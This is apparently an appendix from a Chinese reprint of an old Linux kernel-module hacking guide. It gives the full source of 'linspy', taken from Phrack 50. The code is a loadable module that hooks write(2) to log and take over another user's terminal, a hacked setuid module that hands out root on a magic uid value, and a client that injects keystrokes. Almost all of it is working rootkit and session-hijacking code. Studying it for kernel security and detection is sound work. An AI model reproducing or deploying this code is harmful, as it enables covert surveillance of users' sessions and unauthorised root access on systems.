附录(源码)
LKM TTY hijacking
NAME : linspy
AUTHOR : halflife
DESCRIPTION : This LKM comes again Phrack issue 50 (article 5: 'Abuse
of the Linux Kernel for Fun and Profit'). It is a very nice TTY hijacker
working the way I outline in II.7. This module uses its own character
device for control / and logging.
LINK : http://www.phrack.com
<++> linspy/Makefile
CONFIG_KERNELD=-DCONFIG_KERNELD
CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
CC=gcc
# this is the name of the device you have (or will) made with mknod
DN = '-DDEVICE_NAME="/dev/ltap"'
# 1.2.x need this to compile, comment out on 1.3+ kernels
V = #-DNEED_VERSION
MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
all: linspy ltread setuid
linspy: linspy.c /usr/include/linux/version.h
$(CC) $(MODCFLAGS) -c linspy.c
ltread:
$(CC) $(DN) -o ltread ltread.c
clean:
rm *.o ltread
setuid: hacked_setuid.c /usr/include/linux/version.h
$(CC) $(MODCFLAGS) -c hacked_setuid.c
<--> end Makefile
<++> linspy/hacked_setuid.c
int errno;
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#include <linux/module.h>
#include <linux/version.h>
#include <errno.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif
static inline _syscall1(int, setuid, uid_t, uid);
extern void *sys_call_table[];
void *original_setuid;
extern int hacked_setuid(uid_t uid)
{
int i;
if(uid == 4755)
{
current->uid = current->euid = current->gid = current->egid
= 0;
return 0;
}
sys_call_table[SYS_setuid] = original_setuid;
i = setuid(uid);
sys_call_table[SYS_setuid] = hacked_setuid;
if(i == -1) return -errno;
else return i;
}
int init_module(void)
{
original_setuid = sys_call_table[SYS_setuid];
sys_call_table[SYS_setuid] = hacked_setuid;
return 0;
}
void cleanup_module(void)
{
sys_call_table[SYS_setuid] = original_setuid;
}
<++> linspy/linspy.c
int errno;
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/malloc.h>
#include <linux/errno.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/times.h>
#include <linux/utsname.h>
#include <linux/param.h>
#include <linux/resource.h>
#include <linux/signal.h>
#include <linux/string.h>
#include <linux/ptrace.h>
#include <linux/stat.h>
#include <linux/mman.h>
#include <linux/mm.h>
#include <asm/segment.h>
#include <asm/io.h>
#ifdef MODULE
#include <linux/module.h>
#include <linux/version.h>
#endif
#include <errno.h>
#include <asm/segment.h>
#include <linux/unistd.h>
#include <string.h>
#include <asm/string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#include <linux/vt.h>
/* set the version information, if needed */
#ifdef NEED_VERSION
static char kernel_version[] = UTS_RELEASE;
#endif
#ifndef MIN
#define MIN(a,b) ((a) < (b) ? (a) : (b))
#endif
/* ring buffer info */
#define BUFFERSZ 2048
char buffer[BUFFERSZ];
int queue_head = 0;
int queue_tail = 0;
/* taken_over indicates if the victim can see any output */
int taken_over = 0;
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
extern void *sys_call_table[];
/* device info for the linspy device, and the device we are watching
*/
static int linspy_major = 40;
int tty_minor = -1;
int tty_major = 4;
/* address of original write(2) syscall */
void *original_write;
void save_write(char *, size_t);
int out_queue(void)
{
int c;
if(queue_head == queue_tail) return -1;
c = buffer[queue_head];
queue_head++;
if(queue_head == BUFFERSZ) queue_head=0;
return c;
}
int in_queue(int ch)
{
if((queue_tail + 1) == queue_head) return 0;
buffer[queue_tail] = ch;
queue_tail++;
if(queue_tail == BUFFERSZ) queue_tail=0;
return 1;
}
/* check if it is the tty we are looking for */
int is_fd_tty(int fd)
{
struct file *f=NULL;
struct inode *inode=NULL;
int mymajor=0;
int myminor=0;
if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
return 0;
mymajor = major(inode->i_rdev);
myminor = minor(inode->i_rdev);
if(mymajor != tty_major) return 0;
if(myminor != tty_minor) return 0;
return 1;
}
/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
int r;
if(is_fd_tty(fd))
{
if(count > 0)
save_write(buf, count);
if(taken_over) return count;
}
sys_call_table[SYS_write] = original_write;
r = write(fd, buf, count);
sys_call_table[SYS_write] = new_write;
if(r == -1) return -errno;
else return r;
}
/* save data from the write(2) call into the buffer */
void save_write(char *buf, size_t count)
{
int i;
for(i=0;i < count;i++)
in_queue(get_fs_byte(buf+i));
}
/* read from the ltap device - return data from queue */
static int linspy_read(struct inode *in, struct file *fi, char *buf,
int count)
{
int i;
int c;
int cnt=0;
if(current->euid != 0) return 0;
for(i=0;i < count;i++)
{
c = out_queue();
if(c < 0) break;
cnt++;
put_fs_byte(c, buf+i);
}
return cnt;
}
/* open the ltap device */
static int linspy_open(struct inode *in, struct file *fi)
{
if(current->euid != 0) return -EIO;
MOD_INC_USE_COUNT;
return 0;
}
/* close the ltap device */
static void linspy_close(struct inode *in, struct file *fi)
{
taken_over=0;
tty_minor = -1;
MOD_DEC_USE_COUNT;
}
/* some ioctl operations */
static int
linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned
long args)
{
#define LS_SETMAJOR 0
#define LS_SETMINOR 1
#define LS_FLUSHBUF 2
#define LS_TOGGLE 3
if(current->euid != 0) return -EIO;
switch(cmd)
{
case LS_SETMAJOR:
tty_major = args;
queue_head = 0;
queue_tail = 0;
break;
case LS_SETMINOR:
tty_minor = args;
queue_head = 0;
queue_tail = 0;
break;
case LS_FLUSHBUF:
queue_head=0;
queue_tail=0;
break;
case LS_TOGGLE:
if(taken_over) taken_over=0;
else taken_over=1;
break;
default:
return 1;
}
return 0;
}
static struct file_operations linspy = {
NULL,
linspy_read,
NULL,
NULL,
NULL,
linspy_ioctl,
NULL,
linspy_open,
linspy_close,
NULL
};
/* init the loadable module */
int init_module(void)
{
original_write = sys_call_table[SYS_write];
sys_call_table[SYS_write] = new_write;
if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
return 0;
}
/* cleanup module before being removed */
void cleanup_module(void)
{
sys_call_table[SYS_write] = original_write;
unregister_chrdev(linspy_major, "linspy");
}
<--> end linspy.c
<++> linspy/ltread.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <termios.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
struct termios save_termios;
int ttysavefd = -1;
int fd;
#ifndef DEVICE_NAME
#define DEVICE_NAME "/dev/ltap"
#endif
#define LS_SETMAJOR 0
#define LS_SETMINOR 1
#define LS_FLUSHBUF 2
#define LS_TOGGLE 3
void stuff_keystroke(int fd, char key)
{
ioctl(fd, TIOCSTI, &key);
}
int tty_cbreak(int fd)
{
struct termios buff;
if(tcgetattr(fd, &save_termios) < 0)
return -1;
buff = save_termios;
buff.c_lflag &= ~(ECHO | ICANON);
buff.c_cc[VMIN] = 0;
buff.c_cc[VTIME] = 0;
if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
return -1;
ttysavefd = fd;
return 0;
}
char *get_device(char *basedevice)
{
static char devname[1024];
int fd;
if(strlen(basedevice) > 128) return NULL;
if(basedevice[0] == '/')
strcpy(devname, basedevice);
else
sprintf(devname, "/dev/%s", basedevice);
fd = open(devname, O_RDONLY);
if(fd < 0) return NULL;
if(!isatty(fd)) return NULL;
close(fd);
return devname;
}
int do_ioctl(char *device)
{
struct stat mystat;
if(stat(device, &mystat) < 0) return -1;
fd = open(DEVICE_NAME, O_RDONLY);
if(fd < 0) return -1;
if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
}
void sigint_handler(int s)
{
exit(s);
}
void cleanup_atexit(void)
{
puts(" ");
if(ttysavefd >= 0)
tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
}
main(int argc, char **argv)
{
int my_tty;
char *devname;
unsigned char ch;
int i;
if(argc != 2)
{
fprintf(stderr, "%s ttyname\n", argv[0]);
fprintf(stderr, "ttyname should NOT be your current tty!\n");
exit(0);
}
devname = get_device(argv[1]);
if(devname == NULL)
{
perror("get_device");
exit(0);
}
if(tty_cbreak(0) < 0)
{
perror("tty_cbreak");
exit(0);
}
atexit(cleanup_atexit);
signal(SIGINT, sigint_handler);
if(do_ioctl(devname) < 0)
{
perror("do_ioctl");
exit(0);
}
my_tty = open(devname, O_RDWR);
if(my_tty == -1) exit(0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("[now monitoring session]\n");
while(1)
{
i = read(0, &ch, 1);
if(i > 0)
{
if(ch == 24)
{
ioctl(fd, LS_TOGGLE, 0);
printf("[Takeover mode toggled]\n");
}
else stuff_keystroke(my_tty, ch);
}
i = read(fd, &ch, 1);
if(i > 0)
putchar(ch);
}
}
<--> end ltread.c
EOF
摘自《赛迪网》 pragmatic/THC,(版本1.0)/文
|
|